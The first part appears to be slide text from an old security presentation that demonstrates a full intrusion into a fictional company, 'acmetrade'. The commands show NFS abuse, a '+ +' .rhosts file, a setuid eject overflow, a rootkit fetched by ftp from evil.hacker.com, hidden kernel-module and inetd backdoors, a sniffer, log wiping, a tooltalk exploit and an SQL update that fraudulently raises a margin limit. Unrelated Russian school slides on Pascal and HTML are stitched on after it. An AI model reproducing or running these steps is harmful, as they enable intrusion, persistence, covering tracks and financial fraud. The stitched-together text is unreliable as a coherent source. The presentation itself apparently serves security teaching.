bugs.acmetrade.com		208.21.2.89
fw.acmetrade.com			208.21.2.94
fw1.acmetrade.com			208.21.2.21
#
#
#
#
rpcinfo -p www.acmetrade.com | grep mountd
100005    1   udp    643  mountd
100005    1   tcp    647  mountd
showmount -e www.acmetrade.com
/usr/local	server2, server3, server4
/export/home 	sunspot
rpcinfo -p www1.acmetrade.com | grep mountd
100005    1   udp    643  mountd
100005    1   tcp    647  mountd
showmount -e www1.acmetrade.com
/data1		server2
/a		engineering
/b		engineering
/c		engineering
/export/home	(everyone)
export list for www.acmetrade.com:
#
nfs
nfsshell.c
/data1		server2
/a		engineering
/b		engineering
/c		engineering
/export/home	(everyone)
Export list for www1.acmetrade.com:
nfs>
mount /export/home
Mount www1.acmetrade.com[208.21.2.12]:/export/home
nfs>
ls
bill
bob
celeste
chuck
dan
dave
jenn
zack
nfs>
drwxr-xr-x  2      201     1      1024  May  4  1999  bob
 - protocol: UDP/IP
 - transfer size: 8192 bytes
nfs>
nfs>
nfs>
cd bob
uid 201
gid 1
#
nfsshell
nfs>
host www1.acmetrade.com
Open www1.acmetrade.com[208.21.1.12] (mountd) using UDP/IP
nfs>
export
nfs>
status
nfs>
!sh
$
echo "+ +" > .rhosts
$
exit
nfs>
nfs>
put .rhosts
cat .rhosts
+ +
nfs>
exit
#
rlogin -l bob www1.acmetrade.com
Last login: Wed Mar 3 10:46:52 from somebox.internal.acmetrade.com
www1%
whoami
bob
www1%
pwd
/export/home/bob
www1%
uname -a
SunOS www1.acmetrade.com 5.5.1 Generic_103640-24 sun4d SUNW,SPARCserver-1000
www1%
cat .rhosts
+ +
www1%
www1%
ls -la /usr/bin/eject
-r-sr-xr-x   1 root     bin        13144 Jul 15  1997 /usr/bin/eject*
www1%
gcc -o eject_overflow eject_overflow.c
www1%
./eject_overflow
Jumping to address 0xeffff630 B[364] E[400] SO[400]
#
whoami
root
#
ftp evil.hacker.com
Connected to evil.hacker.com.
Name (evil.hacker.com:root):
331 Password required for hacker.
Password:
230 User hacker logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
hacker
eye0wnu
220 evil.hacker.com FTP server (HackerOS) ready.
ftp>
cd solaris_backdoors
250 CWD command successful.
ftp>
get solaris_backdoor.tar.gz
200 PORT command successful.
150 Binary data connection for out 3.1.33.7,1152).
226 Transfer complete.
152323 bytes sent in 31.942233 secs (4.7Kbytes/sec)
ftp>
quit
tar -xf module_backdoor.tar
cd /tmp/my_tools
gunzip module_backdoor.tar.gz
#
#
#
#
cd /tmp/my_tools/module_backdoor
#
./configure
Enter directories and filenames to hide from ls, find, du:
#
make
#
Makefile
backdoor
backdoor.c
backdoor.o
config.h
configure
installer
installer.c
ls
#
#
modload backdoor
./installer -d /usr/local/share/...
Adding directory...
Fixing last modified time...
Fixing last accessed time...
 ... backdoor
Enter class C network to hide from netstat:
Enter process names to hide from ps and lsof:
creating config.h...
3.1.33.0
sniffer
#
ls -la /usr/local/share/...
...: No such file or directory
#
#
#
#
#
#
./installer backdoor /usr/local/share/.../backdoor
Installing file...
Fixing last modified time...
Fixing last accessed time...
echo "/usr/sbin/modload /usr/local/share/.../backdoor" >>/etc/init.d/utmpd
#
cd ..
rm -rf module_backdoor
ls
inetd_backdoor/
logedit
sniffer
./installer sniffer /usr/local/share/.../sniffer
Installing file...
Fixing last modified time...
Fixing last accessed time...
ls /usr/local/share/.../sniffer
/usr/local/share/.../sniffer: No such file or directory
#
cd /usr/local/share/...
#
./sniffer > out &
#
ps -aef | grep sniffer
#
#
netstat
TCP
   Local Address        Remote Address    Swind Send-Q Rwind Recv-Q  State
-------------------- -------------------- ----- ------ ----- ------ -------
208.21.2.10.1023   208.21.0.19.2049    8760      0  8760    648 ESTABLISHED
208.21.2.10.1022   208.21.0.19.2049    8760      0  8760      0 ESTABLISHED
208.21.2.10.2049   208.21.0.13.1003    8760      0  8760      0 ESTABLISHED
#
cd /tmp/my_tools
#
cd inetd_backdoor
#
ls
config.h
configure
inetd.c
installer.c
#
./configure
Enter port for hidden shell:
#
make
gcc -s  -DSYSV=4 -D__svr4__ -DSOLARIS  -o inetd inetd.c -lnsl -lsocket -lresolv
gcc -o installer installer.c
#
installer inetd /usr/sbin/inetd
Installing file...
Fixing last modified time...
Fixing last accessed time...
creating config.h...
creating Makefile...
31337
Trying 208.21.2.12...
Escape character is '^]'.
telnet www1.acmetrade.com 31337
Granting rootshell...
#
hostname
www1
#
whoami
root
#
#
root   179     1  0   May 10 ?        1:26 /usr/sbin/inetd -s
#
#
#
exit
Connection closed by foreign host.
hacker:/export/home/hacker>
hacker:/export/home/hacker>
ftp www1.acmetrade.com
Connected to www1
220 www1.acmetrade.com FTP service (Version 2.5).
Name:
root
331 Password required for root.
Password:
*******
230 User root logged in.
Remote system type is Unix.
 ftp>
put backdoor.html securelogin.html
200 PORT command successful.
150 Opening BINARY mode data connection for index.html
226 Transfer complete.
ftp>
quit
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 10
-rwxr-xr-x   9 root     other       1024 Aug 17 17:07 .
-rwxr-xr-x   9 root     other       1024 Aug 17 17:07 ..
-rwxr-xr-x   2 www      www         2034 Aug 17 17:07 index.html
-rwxr-xr-x   2 www      www         1244 Aug 17 17:07 securelogin.html
-rwxr-xr-x   2 www      www         1024 Aug 17 17:07 image2.gif
-rwxr-x--x   6 www      www          877 Aug 17 17:07 title.gif
-rwxr-xr-x   2 www      www         1314 Aug 17 17:07 frontpage.jpg
226 Transfer complete. bytes received in 0.82 seconds (0.76 Kbytes/sec)
ftp>
dir
ftp> cd /usr/local/httpd
   program vers proto   port  service
    100000    4   tcp    111  rpcbind
    100000    3   tcp    111  rpcbind
    100000    2   tcp    111  rpcbind
    100000    4   udp    111  rpcbind
    100000    3   udp    111  rpcbind
    100000    2   udp    111  rpcbind
    100004    2   udp    753  ypserv
    100004    1   udp    753  ypserv
    100004    1   tcp    754  ypserv
    100004    2   tcp  32771  ypserv
1073741824    2   udp  32772
    100007    3   udp  32779  ypbind
    100007    2   udp  32779  ypbind
    100007    1   udp  32779  ypbind
    100007    3   tcp  32772  ypbind
    100007    2   tcp  32772  ypbind
    100007    1   tcp  32772  ypbind
    100011    1   udp  32781  rquotad
    100068    2   udp  32783
    100068    3   udp  32783
    100068    4   udp  32783
    100068    5   udp  32783
    100024    1   udp  32784  status
    100024    1   tcp  32777  status
    100021    1   udp   4045  nlockmgr
    100021    2   udp   4045  nlockmgr
#
rpcinfo -p  backoffice.acmetrade.com
    100021    3   udp   4045  nlockmgr
    100021    4   udp   4045  nlockmgr
    100021    1   tcp   4045  nlockmgr
    100021    2   tcp   4045  nlockmgr
    100021    3   tcp   4045  nlockmgr
    100021    4   tcp   4045  nlockmgr
    100005    1   udp  33184  mountd
    100005    2   udp  33184  mountd
    100005    3   udp  33184  mountd
    100005    1   tcp  32787  mountd
    100005    2   tcp  32787  mountd
    100005    3   tcp  32787  mountd
    100083    1   tcp  32773
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100227    2   udp   2049  nfs_acl
    100227    3   udp   2049  nfs_acl
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100227    2   tcp   2049  nfs_acl
    100227    3   tcp   2049  nfs_acl
#
#
grep ttdbserverd /etc/inetd.conf
100083/1	tli	rpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd rpc.ttdbserverd
rpcinfo -p backoffice.acmetrade.com | grep 100083
100083    1   tcp  32773
#
cd /tmp/mytools/warez
Please wait for your root shell.
#
./tt backoffice.acmetrade.com
hostname
backoffice
whoami
root
#
find / -type f -name .rhosts -print
/.rhosts
/export/home/chuck/.rhosts
/export/home/bill/.rhosts
/export/home/larry/.rhosts
#
cat /.rhosts
fideriv.acmetrade   	root
ibd.acmetrade    		root
bugs.acmetrade		root
#
w
10:20pm  up 13:15,  1 user,  load average: 0.01, 0.02, 0.03
User     tty           login@  idle   JCPU   PCPU  what
root     console       9:27am  147:52 14:41  14:14 /sbin/sh
root     pts/5         9:24pm                      /sbin/sh
#
#
#
/tmp/mytools/logedit root pts/5
#
w
10:20pm  up 13:15,  1 user,  load average: 0.01, 0.02, 0.03
User     tty           login@  idle   JCPU   PCPU  what
root     console       9:27am  147:52 14:41  14:14 /sbin/sh
#
sqlplus oracle/oracle
SQL>
describe customers
Name		Null?	Type
------------------  --------  -----------
LNAME		NOT NULL 	VARCHAR2(20)
FNAME		NOT NULL 	VARCHAR2(15)
ADDR1		NOT NULL 	VARCHAR2(30)
ZIP		NOT NULL 	NUMBER(5)
PHONE		NOT NULL 	CHAR(12)
ACCOUNT_NUM	NOT NULL 	NUMBER(12)
BALANCE		NOT NULL 	NUMBER(12)
MARGIN_LIMIT	NOT NULL 	NUMBER(12)
ACCT_OPEN		NOT NULL 	DATE
SQL>
select  LNAME, FNAME, ACCOUNT_NUM, MARGIN_LIMIT from customers where LNAME = 'Gerulski';
LNAME 	     	    FNAME		ACCOUNT_NUM    MARGIN_LIMIT
--------------------    -------------  	-----------    ------------
Gerulski     	    David		5820981        50000.00
SQL>
update customers set MARGIN_LIMIT = 500000.00 where LNAME = 'Gerulski';
SQL>
select LNAME, MARGIN_LIMIT from customers where LNAME = 'Gerulski';
LNAME		        MARGIN_LIMIT
------------------- ------------
Gerulski	        500000.00
SQL>
exit
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network
UNIX
NT
UNIX
rpc.cmsd
nfs / eject
tooltalk /oracle

www.securityfocus.com
www.iss.net/xforce
http://cve.mitre.org/cve
http://cve.mitre.org/cve
CAN-1999-0067
CVE-1999-0067
ISS RealSecure
CERT Advisory
Cisco Database
Axent NetRecon
land attack (spoofed SYN)
Impossible IP Packet
Bugtrag
CA-97.28.Teardrop_Land
Land
NT4-SP3and 95 [latierra.c]
CVE-1999-0016 Land IP denial of service
CVE
CERT Advisory
Bugtrag
ISS RealSecure
Cisco Database
Axent NetRecon
CVE entry
CVE-1999-0005

Arbitrary command execution via IMAP
buffer overflow in authenticate command.

Reference: CERT:CA-98.09.imapd
Reference: SUN:00177
Reference: BID:130
Reference: XF:imap-authenticate-bo
10.	Linux Buffer Overflows
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
  7.	File Sharing
  8.	RPC
  9.	Bind
   1.	Denial of Service Exploits
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
  7.	File Sharing
  8.	RPC
   1.	Denial of Service Exploits
10.	Linux Buffer Overflows
  9.	Bind
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
  7.	File Sharing
   1.	Denial of Service Exploits
  9.	Bind
10.	Linux Buffer Overflows
  8.	RPC (Remote Procedure Calls)
Top 10
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  7.	File Sharing
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
   1.	Denial of Service Exploits
Top 10
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
   1.	Denial of Service Exploits
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
Top 10
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
   1.	Denial of Service Exploits
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  5.	E-Business Web Applications
Top 10

  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
   1.	Denial of Service Exploits
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  4.	Open Databases
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  3.	IIS (Microsoft Internet Information Server)
  2.	Weak Accounts
   1.	Denial of Service Exploits
Top 10
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
   1.	Denial of Service Exploits
Top 10
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  1.	Denial of Service Exploits
Top 10
  1.	Denial of Service Exploits
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
Top 10
BIND
Name server, almost anyone you (know) has a network with a bunch of hosts, typically has a server, if you have older versions of that you are vulnerable.
Name servers usually reside outside the firewall so are more vulnerable to outside attacks
RPC = remote procedure calls
RPC are APIs for client / server applications
Cmsd - calendar manager daemon #1 rpc exploit 1999
Statd - stat daemon (file sharing) most popular overflow in 2000
Sadmin - Solaris system daemon
Amd - auto mount daemon (nfs) all unix
Mountd - mount daemon (mount file systems) all unix (linux particularly bad)
Public - any script kiddie can use them
ALL DDOS zombies (agents) because of rpc overflows

Over DSL easier to hack because hacker does not have to wait as long ( as opposed to dial up)

++ allows anybody to access files from anywhere inside an rhosts files
Sendmail pipe - sendmail setup insecurely can execute UNIX commands for you excutes during parse of email
Mime  buffer flow - standeard multimedia encoding for mail messages
Sendmail allows an attacker to acquire root
Sendmail = 20 years old very complex - same thing morris worm used 1988

Specific attacks to compromise a system.
Attack on the sendmail system

Interscanner and real secure will detect
5. e-business web applications
People building more and more applications
The apps themselves have a lot of security flaws
A lot of vulnerability in shopping carts
Some of the tools to build an e-business web application
On netscape enterprise server (NES)  - port 80 even if the firewall webserver
If you are running a webserver your firewall is allowing traffic on port 80

Path info = information gathering attack (about 20 vulnmerabilities)

4. Applications
Any e-bus app is going to have a database, a lot of security issues
Pretty easy to go to e-business sites and pull down credit cards and sensitive information
If they are vulnerable it is easy to crash them
Underneath all these you have the web server itself
Huge percentage of machines still vulnerable
Doesn't matter how secure the app or database is if the iis server is not protected
90% of all iis servers vulnerable
Server Xp_cmdshell = allows db users to run commands on the operating system (as owner of database - typically high degree of user)

3. Passwords
From old days to today, passwords very weak link in security paradigm in trying to lock down systems
Default accounts, no passwords protection of routers, etc.
The hacker begins with only a target.  At this point the hacker has little or no information about the target host.
Typically, the first thing the hacker will do is use a internet domain name registrar to gather some publicly available info about the target host and its associated network(s).
Here, the hacker enters the name of the target and submits it.
When we hacked the first machine, the vulnerability in cmsd granted us root access immediately.  With the NFS hack, we were not granted this luxury.  Since we have breached the machine, we are still a normal user, so we need to try and hack local superuser access ASAP.  We go to another hacker site and download a local exploit to try on the machine.  Here we go to www.insecure.org.  Also the distribution host of the famous scanner/hacking tool NMAP.
Here we check for the existence of /usr/bin/eject.  We find that it exists and it has the suid bit on.  The setuid bit on this binary means that this binary runs in a privileged state even if unprivileged users run it.  There is a buffer overflow in eject that allows unprivileged users to run privileged code.  After compiling and executing, we now have a local root shell.  Then we ftp to our home machine (evil.hacker.com) to download some more hacker tools.
Here we get a solaris backdoor that we plan to install on the box.
The backdoor uses loadable kernel modules.  Hacker rootkits that use modules are much more advanced that simply rootkits that replace system binaries.  This rootkit will allow us to hide files, directories, network connections and processes.  We load the module with modload and then install some of our files and fix the access times.
Here we verify that the files we want to hide are actually hidden.  Since modules are dynamic, we need to ensure that the module will be reloaded whenever the machine reboots.  We do that by inserting a line into a startup script that will reload it when the machine bounces.  Next we install a sniffer, run it, and verify that it is hidden.
Here we verified that our IP address is not listed with netstat.  Next we install and configure an inetd backdoor to setup a portshell
Here we restart inetd to start our new backdoor.  Then we verify that it is working and listening on port 31337
Here we ftp into the acmetrade to illustrate how easy it is to modify or deface the website.  Assume that we have the root password since we installed a packet sniffer earlier.
Now we going to target the backoffice server.  Again, we use rpcinfo to probe the rpc services.
We look to see if tooltalk is running on this server.  We look up the program number 100083 and check if its running.  It is.  We then fire off our tooltalk exploit on the host.  The tooltalk exploit is probably the most popular unix attack of 99, and maybe 2000.  It takes advantage of a remote buffer overflow.
Now we buy NETA on our extended margin.


title: Презентация на тему: Типы данных. Функции. Линейные программы

text:
SHORTINT
-128..127
INTEGER
-32768..32767
LONGINT
BYTE
0..255
WORD
0..65535
REAL
2.9*10-39..1.7*1038
11..12
SINGLE
1.5*10-45..3.4*1038
7..8
DOUBLE
5.0*10-324..1.7*10308
15..16
EXTENDED
3.4*10-4932..1.1*104932
19..20
COMP
-2*1063+1..+2*1063-1
19..20
ABS(X)
ARCTAN(X)
COS(X)
EXP(X)
FRAC
(X)
INT(X)
LN(X)
PI
ROUND(X)
SIN(X)
SQR(X)
SQRT(X)
TRUNC(X)
c1:=a div 100;c2:=(a mod 100) div 10;
c3:=a mod 10;
s:=abs(a)+sqrt(x+sqr(y));
I:=2*pi*r
s:=pi*sqr(r)
-3.7
-3.2
-3
3.2
3.7
3
Int(x)
Trunc(x)
Round(x)
Frac(x)
e)
 b)
d)
f)
a)
d)
g)
b)
e)
h)
c)
f)
i)


title: Презентация на тему: Типы алгоритмов. Повторение

text:
Z : =  2  *  Y
X := Z + 1
Z : =  2  *  Y
X := Z + 1
Y : = 2 * X + 1
Y : = 2 * X - 5


title: Презентация на тему: Типы алгоритмов

text:
R
A>9
X=A+8
X=A-8

+
-
1
2
3
4
S:=3
D:=1
s<5
s:=s+0,1*s
D:=d+1
d
K
-
+


title: Презентация на тему: Типы информационных моделей

text: Prezentacii.com


title: Презентация на тему: ТИПЫ ИНФОРМАЦИОННЫХ МОДЕЛЕЙ

text: Prezentacii.com


title: Презентация на тему: Типы файлов

text:
900igr.net
var
   f1 : text;
  f2 : file of integer;
   f3 : file;

reset(f);
rewrite(f);
append(f);
close(f);
erase(f);
eof(f)
ioresult
eoln(f);
seek(f, N);
truncate(f);
filesize(f);
filepos(f);


Презентация на тему: Типы модулей в Delphi


Презентация на тему: Тесты


Презентация на тему: Типы компьютерных угроз


Презентация на тему: Типы персональных компьютеров


title: Презентация на тему: ТИПЫ ПЕРСОНАЛЬНЫХ КОМПЬЮТЕРОВ

text: Prezentacii.com


title: Презентация на тему: Типы алгоритмов

text:
!
+
=
!
?
!
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20
?
?


title: Презентация на тему: Текстовой процессор Word

text:
900igr.net
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16


Презентация на тему: Типы компьютерных вирусов


Презентация на тему: Типы связей и системы управления


title: Презентация на тему: Типы принтеров

text:
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level


title: Презентация на тему: Типы программного обеспечения

text:
900igr.net

MS Word
MS Access
Photoshop
Corel Draw

MS PowerPoint
MS Excel
MS Word

KMPlayer
Nero Photo Snap

Counter - Strike

AutoCAD

MS Access


Презентация на тему: Типы структур данных


Презентация на тему: HTML


Презентация на тему: Типы текстовых редакторов


title: Презентация на тему: ТИПЫ СЕТЕВЫХ АДРЕСОВ

text:
247.255.255.255
240.0.0.0
E
239.255.255.255
224.0.0.0
D
223.255.255.0
192.0.1.0.
C
191.255.0.0
128.0.0.0
B
126.0.0.0
01.0.0
A
ICH.TSU.RU


title: Презентация на тему: HTML

text:
HTML

    1
    2

1

2

1

2

Requirements for Netscape Gold

Platform, OS
PC Requirements

Windows
486, HDD 5MB, 8MB

Macintosh
68020, HDD 5MB, 8 MB

Unix
N/A, HDD 6 MB, 16 MB

<form method=POST action="/cgi-bin/cadguestbook.pl">
Comments:

	<textarea name=comments COLS=70 ROWS=8>
		Any comments are highly appreciated. Thank you!
	</textarea>

	<input type=submit>
	<input type=reset>
</form>
 <TITLE>It's a frame, I tell ya'!</TITLE>

<FRAMESET COLS="20%,*,20%">
<FRAME SRC="left.htm" NAME="left">
<FRAME SRC="middle.htm" NAME="middle">
<FRAME SRC="right.htm" NAME="right">
</FRAMESET>

<NOFRAMES>
Alternative content no-frames browsers.
</NOFRAMES>


Презентация на тему: HTML - первые шаги


title: Презентация на тему: Типы таблиц

text:
1
165
49
2
188
57
3
174
70
4
162
48
15
87
5
295
5
32
69
4
60
4
1999
3
1998
1073
2002
3.93
2003
3.7
1
5
5
4
5
2
4
4
4
4
3
3
5
4
5

4
3
3
4
3
5
5
4
5
4
6
5
3
5
5
6.38
14.28
116.50
72.20
21.48
196.60
123.50
1.31
230.30
144.70
5.10
281.30
177.20
12.10
15.28
127.10
78.80
22.38
214.40
134.80
2.00
251.30
157.80
5.35
306.80
193.50
1
4
5
3
3
2
3
4
3
3
3
4
4
4
4
4
5
4
4
5


title: Презентация на тему: HTML страница

text:
900igr.net
1   2   3   4   5   6   7
N


title: Презентация на тему: Типы информационных систем в организации

text:
Департамент образования города МосквыГосударственное бюджетное образовательное учреждениевысшего профессионального образования города Москвы«Московский городской педагогический университет» Институт математики и информатикиКафедра прикладной информатики

Проект 3. Процессы поиска информации.

Тема: «Типы информационных систем в организации;Возможный план действий по совершенствованию процессов поиска информации;
Содействие поиску информации»

Выполнил:
Студент ПИ-5Решетников Глеб

Москва 2014
Информационная система (сокр. ИС) — система обработки информации и соответствующие организационные ресурсы (человеческие, технические, финансовые и т. д.), которые обеспечивают и распространяют информацию.

Информационная система предназначена для своевременного обеспечения  людей надлежащей информацией, то есть для удовлетворения конкретных информационных потребностей в рамках определенной предметной области.

Результатом функционирования информационных систем является информационная продукция — документы, информационные массивы, базы данных и информационные услуги.

Функциональная область
Системы эксплуатационного уровня:Основная цель систем на этом уровне состоит в том, чтобы ответить на
обычные вопросы и проводить потоки транзакций через организацию.
Чтобы отвечать на эти виды вопросов, информация должна быть легко
доступна, оперативна и точна.
Системы уровня знания:Цель систем уровня знания состоит в том, чтобы помочь деловой
фирме интегрировать новое знание в бизнес и помогать организации
управлять потоком документов.

Системы уровня управления разработаны, чтобы обслуживать контроль,
управление, принятие решений, и административные действия средних
менеджеров. Основное вопросы, адресованные к ним: хорошо ли работают
 объекты?

Системы стратегического уровня это инструмент помощи руководителям
 высшего уровня. Он подготавливают стратегические исследования и
длительные тренды для фирмы и делового окружения.


title: Презентация на тему: HTML Язык описания Web-страниц

text:
    <title>My first page</title>

Hello, World!

html
title
body
p
My first page
Hello, World!
head
Next page
<element attr1="value1" attr2="value2"... />

    <title>My first web page</title>

Welcome to my first web page!

This is a paragraph of text.

HTML + XML (eXtended Markup Language) = XHTML
1.
2.
3.
4.
5.
6.
7.
8.

some text
some text
Hello, World!

Hello, World!

 ...

&
&

Google

   Google

  public static void main(String[] args) {
    System.out.println("Hello, World!");
  }

<meta http-equiv="Content-Language" content="ru">
<meta http-equiv="Content-Type"
      content="text/html; charset=windows-1251">
<meta http-equiv="refresh"
      content="5;http://www.google.com/">
text/plain
text/html
text/css
image/gif
image/vnd.microsoft.icon
audio/mpeg
video/mp4
image/jpeg
application/octet-stream
application/javascript
¢  £  ¥
¢  £  ¥
&1048;
"  &
"  &
π  δ  Δ
™  ©
<  >
<  >


title: Презентация на тему: HTML Учебник для «чайничков»

text:
HTML
HTML
Hyper Text Markup Language
HTML
HTML
</html>
 <html>
<br>
HTML
HTML
<html>
<head>
</head>
<body>
</body>
</html>
HTML
<head>
</head>
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML
HTML


text:
Типы информационных моделей
Учитель информатики и ИКТ
Кравченко Диана Сергеевна
Типы информационных моделей
Информационная модель — модель объекта, представленная в виде информации, описывающей существенные для данного рассмотрения параметры и переменные величины объекта, связи между ними, входы и выходы объекта и позволяющая путём подачи на модель информации об изменениях входных величин моделировать возможные состояния объекта.
Информационные модели делятся на описательные и формальные.
Описательные информационные модели — это модели, созданные на естественном языке (то есть на любом языке общения между людьми: английском, русском, китайском, мальтийском и т. п.) в устной или письменной форме.

Формальные информационные модели — это модели, созданные на формальном языке (то есть научном, профессиональном или специализированном). Примеры формальных моделей: все виды формул, таблицы, графы, карты, схемы и т. д.
Типы информационных моделей
Табличные модели
Иерархические модели
Сетевые информационные модели
       Табличные модели
Одной из наиболее часто встречающихся структур информационной модели является таблица. В табличной информационной модели элементы информации размещаются в отдельных ячейках. Такой тип моделей применяется для описания ряда объектов, обладающих одинаковыми наборами свойств.
С помощью таблиц могут быть выражены как статические, так и динамические информационные модели. Например, рассмотрим компьютер с точки зрения стоимости его отдельных устройств и изменения его цены во времени.
Динамическая информационная модель содержит изменение цены компьютеров по годам для двух различных моделей.

Обычно перечень объектов размещен в ячейках первого столбца таблицы, а значения их свойств - в других столбцах
    Иерархические модели
Группа объектов, обладающих одинаковыми свойствами называется классом объектов. Внутри класса объектов могут быть выделены подклассы, которые в свою очередь могут тоже делиться на более мелкие классы. Такой процесс называется классификацией. В процессе классификации часто строятся модели, которые имеют иерархическую структуру. В биологии весь животный мир рассматривается как иерархическая структура. В информатике иерархия используется в файловой системе.
Статическая иерархическая модель
Статическая иерархическая модель "Компьютер" может выглядеть следующим образом.
Класс Компьютеры можно разделить на три подкласса:
Суперкомпьютеры
 Серверы
 Персональные компьютеры.
Компьютеры, входящие в подкласс Суперкомпьютеры, отличаются сверхвысокой производительностью и надежностью и используются в крупных научно-технических центрах для управления процессами в реальном масштабе времени.
Компьютеры, входящие в подкласс Серверы, обладают высокой производительностью и надежностью и используются в качестве серверов в локальных и глобальных сетях.
Компьютеры, входящие в подкласс Персональные компьютеры, обладают средней производительностью и надежностью и используются в офисах и дома для работы с различными приложениями.
Подкласс Персональные компьютеры делится, в свою очередь, на Настольные, Портативные и Карманные компьютеры.
В иерархической структуре элементы распределяются по уровням, от первого (верхнего) уровня до нижнего (последнего) уровня. На первом уровне может располагаться только один элемент, который является "вершиной" иерархической структуры. Основное отношение между уровнями состоит в том, что элемент более высокого уровня может состоять из нескольких элементов нижнего уровня, при этом каждый элемент нижнего уровня может входить в состав только одного элемента верхнего уровня.
В иерархической информационной модели объекты распределены по уровням. Каждый элемент более высокого уровня может состоять из элементов нижнего уровня, а элемент нижнего уровня может входить в состав только одного элемента более высокого уровня.
В рассмотренной иерархической модели, классифицирующей компьютеры, имеются три уровня. На первом, верхнем, уровне располагается элемент Компьютеры, в него входят три элемента второго уровня Суперкомпьютеры, Серверы и Персональные компьютеры. В состав последнего входят три элемента третьего, нижнего, уровня Настольные, Портативные и Карманные компьютеры.
Изображение информационной модели в форме графа. Граф является удобным способом наглядного представления структуры информационных моделей. Вершины графа (овалы) отображают элементы системы.

Элементы верхнего уровня находятся в отношении "состоять из" к элементам более низкого уровня. Такая связь между элементами отображается в форме дуги графа (направленной линии в форме стрелки). Графы, в которых связи между объектами несимметричны (как в данном случае), называются ориентированными.
Полученный граф напоминает дерево, которое растет сверху вниз, поэтому иерархические графы иногда называют деревьями.
Динамическая иерархическая модель.
Для описания исторического процесса смены поколений семьи используются динамические информационные модели в форме генеалогического дерева. В качестве примера можно рассмотреть фрагмент (X-XI века) генеалогического дерева династии Рюриковичей
Сетевые информационные модели
Сетевые информационные модели применяются для отражения систем со сложной структурой, в которых связи между элементами имеют произвольный характер. Например, различные региональные части глобальной компьютерной сети Интернет (американская, европейская, российская, австралийская и так далее) связаны между собой высокоскоростными линиями связи. При этом одни части (например, американская) имеют прямые связи со всеми региональными частями Интернета, а другие могут обмениваться информацией между собой только через американскую часть (например, российская и австралийская).
Построим граф, который отражает структуру глобальной сети Интернет. Вершинами графа являются региональные сети. Связи между вершинами носят двусторонний характер и поэтому изображаются ненаправленными линиями (ребрами), а сам граф поэтому называется неориентированным.
Представленная сетевая информационная модель является статической моделью. С помощью сетевой динамической модели можно, например, описать процесс передачи мяча между игроками в коллективной игре (футболе, баскетболе и так далее).


title: Презентация на тему: Типы внешней памяти

text:
900igr.net
!
1
2
4
100
8
200
10
320


title: Презентация на тему: HTML


title: Презентация на тему: HTML+CSS (верстка)

text:
Eclipse
Eclipse (JAVA)
Pydev (Python)
ESFTP
Internet Explorer
Firefox
Opera
Safari
Chrome
test.html
error.html, error2.html
text.html

<acronym>

<dfn>

<samp>

<var>
line.html
images.html
usemap.html
usemap.html
links.html, folder1/links.html
relations.html
relations.html
lists.html
forms.html
forms.html
forms.html
http://trevordavis.net/play/input-vs-button/
tables.html
frames.html, iframe.html
object.html, object.html
CSS 2
css.html, css.css, css1.css
css0.html
css2.html
css.html, css.css, css1.css
css1.html
keywords.html
font_css.html
text_css.html
margin
border
padding
[width] x [height]
autowidth.html
margin
border
padding
[width] x [height]
margin
border
padding
[width] x [height]
height=auto
horis1.html
vert1.html, vert2.html,
negative_margins.html
margin
border
padding
[width] x [height]
margin
border
padding
[width] x [height]
margins.html
str_format.htm
display1.html
display_inline_block.html
top
bottom
right
left
margin-percent.html
paddings.html
colors-css.html,
background_css.html
background_css.html,
background2_css.html
float1.html, float2.html
float3.html, float_problem.html
position.html
overflow.html
visibility: visible | hidden | collapse | inherit
visibility.html
position_abs.html
z-index.html
position_fixed.html
position_relative.html
display: table
table
display: tablerow
tr
display: tablehead
thead
display: tablerowgroup
tbody
display: tablefootergroup
tfoot
display: tablecolumn
col
display: tablecolumngroup
colgroup
display: tablecell
td, th
display: tablecaption
caption
tables2.html
tables2.html
tables3.html
tables3.html
tables4.html
lists_css.html
css_gen_content.html
css_gen_content2.html
